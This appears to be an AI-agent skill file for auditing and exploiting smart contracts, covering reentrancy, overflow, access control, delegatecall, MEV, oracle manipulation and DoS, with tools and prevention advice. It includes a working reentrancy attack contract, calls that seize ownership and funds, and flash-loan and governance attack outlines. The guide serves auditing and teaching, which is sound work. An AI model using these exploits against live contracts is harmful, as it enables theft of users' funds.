12 KiB
12 KiB
name, description
| name | description |
|---|---|
| exploiting-web3-smart-contracts | Audit and exploit smart contracts and Web3 applications including reentrancy, integer overflow, access control flaws, and DeFi-specific vulnerabilities. Use when testing blockchain applications or performing smart contract audits. |
Exploiting Web3 and Smart Contracts
When to Use
- Smart contract security auditing
- DeFi protocol testing
- Web3 application pentesting
- Blockchain vulnerability assessment
- NFT platform security
Environment Setup
Install Tools:
# Node.js and npm
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
sudo apt install -y nodejs
# Hardhat (Ethereum development)
npm install --save-dev hardhat
# Foundry (Rust-based toolkit)
curl -L https://foundry.paradigm.xyz | bash
foundryup
# Slither (static analysis)
pip3 install slither-analyzer
# Mythril (security analysis)
pip3 install mythril
Connect to Networks:
// Ethereum Mainnet via Infura
const Web3 = require('web3');
const web3 = new Web3('https://mainnet.infura.io/v3/YOUR_KEY');
// Local development (Hardhat/Ganache)
const web3 = new Web3('http://127.0.0.1:8545');
Common Smart Contract Vulnerabilities
1. Reentrancy
Vulnerable Contract:
contract Vulnerable {
mapping(address => uint) public balances;
function withdraw() public {
uint amount = balances[msg.sender];
// Vulnerable: external call before state update
(bool success,) = msg.sender.call{value: amount}("");
require(success);
balances[msg.sender] = 0; // State update after call
}
}
Exploit:
contract Attack {
Vulnerable victim;
constructor(address _victim) {
victim = Vulnerable(_victim);
}
function attack() public payable {
victim.deposit{value: 1 ether}();
victim.withdraw();
}
fallback() external payable {
if (address(victim).balance >= 1 ether) {
victim.withdraw(); // Reenter
}
}
}
Prevention:
- Checks-Effects-Interactions pattern
- ReentrancyGuard modifier
- Use transfer() instead of call()
2. Integer Overflow/Underflow
Vulnerable (Solidity < 0.8.0):
function transfer(address _to, uint256 _value) public {
require(balances[msg.sender] - _value >= 0); // Can underflow
balances[msg.sender] -= _value;
balances[_to] += _value; // Can overflow
}
Exploit:
// Send more tokens than you have
// balances[msg.sender] = 1
// _value = 2
// 1 - 2 = 2^256 - 1 (underflow)
Prevention:
- Use Solidity >= 0.8.0 (automatic checks)
- Use SafeMath library
- Manual overflow checks
3. Access Control Issues
Vulnerable:
function withdraw() public {
// Missing access control!
msg.sender.transfer(address(this).balance);
}
function setOwner(address _owner) public {
owner = _owner; // Anyone can become owner
}
Exploit:
// Call withdraw from any address
await contract.withdraw();
// Become owner
await contract.setOwner(attackerAddress);
Prevention:
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
function withdraw() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
4. Unchecked External Calls
Vulnerable:
function callExternal(address target) public {
target.call(""); // Return value not checked
}
function sendEther(address payable recipient) public {
recipient.send(1 ether); // Silently fails if send() returns false
}
Prevention:
(bool success,) = target.call("");
require(success, "Call failed");
5. Delegatecall Injection
Vulnerable:
function forward(address _target, bytes memory _data) public {
_target.delegatecall(_data); // Executes in contract's context
}
Exploit:
// Attacker can modify contract storage
// Call selfdestruct()
// Change owner
Prevention:
- Avoid delegatecall to user-controlled addresses
- Whitelist allowed targets
- Use libraries instead
6. Front-Running / MEV
Scenario:
// DEX swap at specific price
function swap(uint256 amountIn) public {
uint256 amountOut = getAmountOut(amountIn);
// Attacker sees this in mempool
// Submits transaction with higher gas to execute first
// Changes the price before victim's tx
}
MEV Attacks:
- Front-running
- Back-running
- Sandwich attacks
- Liquidations
- Arbitrage
Mitigation:
- Commit-reveal schemes
- Private mempools (Flashbots)
- Slippage protection
- Minimal on-chain disclosure
7. Price Oracle Manipulation
Vulnerable:
// Using single DEX as price source
function getPrice() public view returns (uint256) {
return uniswapPair.getReserves();
}
Exploit:
// Flash loan attack
// 1. Borrow large amount
// 2. Manipulate DEX price
// 3. Interact with vulnerable contract
// 4. Repay flash loan
// 5. Profit
Prevention:
- Use time-weighted average price (TWAP)
- Multiple oracle sources (Chainlink)
- Delay price updates
- Min/max price bounds
8. Denial of Service
Vulnerable:
function distribute() public {
for (uint i = 0; i < users.length; i++) {
users[i].transfer(amount); // Can run out of gas
}
}
function withdraw() public {
// Winner takes all
require(msg.sender == topBidder);
msg.sender.transfer(address(this).balance);
}
Exploit:
- Create contract that rejects ether (reverts in fallback)
- Become topBidder
- Prevent anyone from winning
Prevention:
- Pull over push pattern
- Gas limits
- Emergency stop mechanisms
Auditing Tools
Static Analysis
Slither:
# Analyze contract
slither contract.sol
# Specific detectors
slither contract.sol --detect reentrancy-eth,tx-origin
# Generate report
slither contract.sol --json output.json
# Common detectors:
# - reentrancy-eth
# - uninitialized-state
# - tx-origin
# - unchecked-transfer
# - arbitrary-send
Mythril:
# Analyze with Mythril
myth analyze contract.sol
# Specify contract
myth analyze contract.sol:ContractName
# Graph generation
myth analyze contract.sol --graph output.html
Securify:
# Online tool
# https://securify.chainsecurity.com/
Dynamic Analysis
Echidna (Fuzzer):
# Install
docker pull trailofbits/echidna
# Run fuzzer
echidna-test contract.sol --contract ContractName
Manticore (Symbolic Execution):
# Install
pip3 install manticore
# Analyze
manticore contract.sol
Testing Frameworks
Hardhat:
const { expect } = require("chai");
describe("Token", function () {
it("Should exploit reentrancy", async function () {
const [owner, attacker] = await ethers.getSigners();
const Vulnerable = await ethers.getContractFactory("Vulnerable");
const vulnerable = await Vulnerable.deploy();
const Attack = await ethers.getContractFactory("Attack");
const attack = await Attack.deploy(vulnerable.address);
// Exploit
await attack.attack({ value: ethers.utils.parseEther("1.0") });
// Verify
expect(await ethers.provider.getBalance(vulnerable.address)).to.equal(0);
});
});
Foundry:
// test/Exploit.t.sol
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/Vulnerable.sol";
contract ExploitTest is Test {
Vulnerable public vulnerable;
function setUp() public {
vulnerable = new Vulnerable();
}
function testExploit() public {
// Test exploit
}
}
# Run tests
forge test
forge test --match-contract ExploitTest -vvv
DeFi-Specific Attacks
Flash Loan Attack
interface IFlashLoan {
function flashLoan(uint256 amount) external;
}
contract FlashLoanExploit {
function exploit() external {
// 1. Borrow flash loan
IFlashLoan(lender).flashLoan(1000000 ether);
}
function executeOperation(uint256 amount) external {
// 2. Manipulate price oracle
// 3. Exploit vulnerable contract
// 4. Repay flash loan + fee
// 5. Keep profit
}
}
Impermanent Loss Exploitation
- Manipulate pool ratios
- Extract value from liquidity providers
- Arbitrage price differences
Governance Attacks
// Flash loan to get voting power
// Vote on malicious proposal
// Execute immediately
// Repay loan
Web3 Frontend Vulnerabilities
Wallet Connection:
// Vulnerable: No signature verification
const signature = await signer.signMessage(message);
// Attacker can replay signature
// Secure: Include nonce and timestamp
const message = `Nonce: ${nonce}\nTimestamp: ${timestamp}`;
Transaction Simulation:
// Before sending transaction
const result = await contract.callStatic.functionName(args);
// Verify expected outcome
Blockchain Forensics
Etherscan API:
# Get contract source
curl "https://api.etherscan.io/api?module=contract&action=getsourcecode&address=0x..."
# Get transactions
curl "https://api.etherscan.io/api?module=account&action=txlist&address=0x..."
Transaction Analysis:
// Get transaction
const tx = await web3.eth.getTransaction(txHash);
// Get receipt
const receipt = await web3.eth.getTransactionReceipt(txHash);
// Decode input data
const decoded = contract.interface.parseTransaction({ data: tx.input });
Event Monitoring:
// Listen for events
contract.on("Transfer", (from, to, amount) => {
console.log(`Transfer: ${from} -> ${to}: ${amount}`);
});
// Past events
const events = await contract.queryFilter("Transfer", fromBlock, toBlock);
NFT-Specific Vulnerabilities
Metadata Manipulation:
- Centralized metadata storage
- Mutable tokenURI
- IPFS pinning issues
Minting Exploits:
// Reentrancy in minting
function mint() external payable {
require(msg.value == price);
(bool success,) = owner.call{value: msg.value}(""); // Vulnerable
_mint(msg.sender, tokenId++);
}
Royalty Bypass:
- Direct NFT transfers
- Bypassing marketplace fees
- Washing trades
Testing on Mainnet Fork
Hardhat:
// hardhat.config.js
module.exports = {
networks: {
hardhat: {
forking: {
url: "https://eth-mainnet.alchemyapi.io/v2/YOUR_KEY",
blockNumber: 14000000
}
}
}
};
Foundry:
# Fork mainnet
forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/YOUR_KEY
# Specific block
forge test --fork-url https://... --fork-block-number 14000000
Tools Summary
Analysis:
- Slither - Static analyzer
- Mythril - Security scanner
- Manticore - Symbolic execution
- Echidna - Fuzzer
Development:
- Hardhat - Development environment
- Foundry - Rust-based toolkit
- Remix - Online IDE
- Truffle - Development framework
Monitoring:
- Etherscan - Block explorer
- Tenderly - Debugging platform
- OpenZeppelin Defender - Security monitoring
Security Best Practices
- Use latest Solidity (>= 0.8.0)
- Follow Checks-Effects-Interactions pattern
- Limit external calls
- Validate all inputs
- Use established libraries (OpenZeppelin)
- Implement access control
- Add emergency pause
- Get professional audits
- Use testnets extensively
- Monitor contracts post-deployment